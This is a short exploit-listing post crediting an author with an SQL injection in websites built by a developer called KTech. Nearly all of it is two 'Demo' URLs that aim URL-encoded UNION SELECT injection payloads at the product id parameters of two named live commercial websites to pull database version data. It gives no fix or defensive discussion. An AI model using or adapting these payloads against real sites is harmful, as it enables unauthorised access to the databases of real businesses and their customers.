********************************************************* #Exploit Title: Designed & Developed By: KTech Sql Injection Vulnerability #Date: 2021-08-19 #Exploit Author: Behrouz Mansoori #Category:webapps #Tested On: windows 10, Firefox ### Demo : http://uzmanbros.com/products.php?id=-92%27%20%23AAAAA%0Aunion%20%23AAAA%0Aselect%201,2,version(),4,5--+ https://www.dorcaswears.com/products_detail.php?prdid=-196%27%20%23AAAAA%0Aunion%20%23AAAA%0Aselect%201,2,3,4,version(),6,7,8,9,10--+ ********************************************************* #Discovered by: Behrouz mansoori #Instagram: Behrouz_mansoori #Email: mr.mansoori@yahoo.com *********************************************************